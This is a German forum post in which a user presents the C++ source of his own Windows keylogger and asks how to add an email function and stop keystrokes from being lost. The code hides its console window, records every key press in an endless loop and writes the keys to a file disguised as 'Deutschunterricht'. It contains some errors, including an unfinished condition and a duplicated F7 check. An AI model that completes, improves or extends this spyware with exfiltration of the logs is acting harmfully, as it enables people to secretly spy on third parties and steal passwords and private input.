Hallo liebe Member :=)

Ich möchte euch eigentlich gerne meinen Keylogger vorstellen. Habe 2 Versionen. 1 mit Registry und 1 ohne Registry.

Code:
#include <windows.h> 
#include <Winuser.h> 
#include <string> 
#include <fstream>
std::string GetKey(int Key) 
{ 
    std::string KeyString = ""; 
    if (Key ==  
        KeyString = "[delete]"; 
    else if (Key == VK_ESCAPE) 
        KeyString = "[ESC]";
    else if (Key == VK_END) 
        KeyString = "[ENDE]";
    else if (Key == VK_LWIN) 
        KeyString = "[WINDOWS]"; 
    else if (Key == VK_RWIN) 
        KeyString = "[WINDOWS]"; 
    else if (Key == VK_F1) 
        KeyString = "[F1]"; 
    else if (Key == VK_F2) 
        KeyString = "[F2]"; 
    else if (Key == VK_F3) 
        KeyString = "[F3]"; 
    else if (Key == VK_F4) 
        KeyString = "[F4]"; 
    else if (Key == VK_F5) 
        KeyString = "[F5]"; 
    else if (Key == VK_F6) 
        KeyString = "[F6]"; 
    else if (Key == VK_F7) 
        KeyString = "[F7]"; 
    else if (Key == VK_F7)
        KeyString = "[F8]"; 
    else if (Key == VK_F9) 
        KeyString = "[F9]"; 
    else if (Key == VK_F10) 
        KeyString = "[F10]"; 
    else if (Key == VK_F11) 
        KeyString = "[F11]"; 
    else if (Key == VK_F12) 
        KeyString = "[F12]"; 
    else if (Key == VK_INSERT) 
        KeyString = "[EINFG]"; 
    else if (Key == VK_PRIOR) 
        KeyString = "[BILD AUF]";
    else if (Key == VK_NEXT)
        KeyString = "[BILD AB]";
    else if (Key == 13) 
        KeyString = "\n"; 
    else if (Key == VK_NUMLOCK) 
        KeyString = "[NUMLOCK]"; 
    else if (Key == 32) 
        KeyString = " "; 
    else if (Key == VK_PAUSE) 
        KeyString = "[PAUSE]"; 
    else if (Key == VK_CAPITAL) 
        KeyString = "[FESTSTELL]"; 
    else if (Key == VK_SHIFT) 
        KeyString = "[SHIFT]"; 
    else if (Key == VK_TAB) 
        KeyString = "[TABULATOR]"; 
    else if (Key == VK_CONTROL) 
        KeyString = "[STRG]"; 
    else if (Key == VK_HOME) 
        KeyString = "[HOME]"; 
    else if (Key == VK_LEFT) 
        KeyString = "[LINKS]"; 
    else if (Key == VK_RIGHT) 
        KeyString = "[RECHTS]"; 
    else if (Key == VK_UP) 
        KeyString = "[HOCH]"; 
    else if (Key == VK_DOWN) 
        KeyString = "[RUNTER]"; 
    else if (Key == VK_PRINT) 
        KeyString = "[DRUCK]"; 
    else if (Key == 190 || Key == 110) 
        KeyString = "."; 
    else if (Key >=96 && Key <= 105) 
        KeyString = Key-48; 
    else if (Key > 47 && Key < 60) 
        KeyString = Key; 
    if (Key != VK_LBUTTON || Key != VK_RBUTTON) 
    { 
        if (Key > 64 && Key < 91) 
        { 
            if (GetKeyState(VK_CAPITAL)) 
                KeyString = Key; 
            else 
            { 
                Key = Key + 32; 
                KeyString = Key; 
            } 
        } 
    } 
    
    
    return KeyString; 
} 
 
int main()
{ 

 HWND keylog;
 keylog=FindWindow("ConsoleWindowClass", NULL);
 ShowWindow(keylog, SW_HIDE);
 std::string Filename = "Deutschunterricht"; 
    std::string TempString = ""; 
    std::fstream FStream; 
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
    while(true) 
    { 
        Sleep(5); 
        for(int i = 8; i < 191; i++) 
        { 
           if(GetAsyncKeyState(i)&1 ==1) 
           { 
                TempString = GetKey (i); 
                FStream.write(TempString.c_str(), TempString.size()); 
                FStream.close(); 
                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
           } 
        } 
    }
}
Was ich eigentlich mit dem bezwecken will:

Wie baue ich hier eine E-Mail Funktion ein?
Je nach Geschwindigkeit des Rechners übernimmt er nicht alle Buchstaben etc. da ja nach jedem Buchstaben in das Log geschrieben wird. Wie kann man das beheben?

Liebe Grüsse Uratuso :=)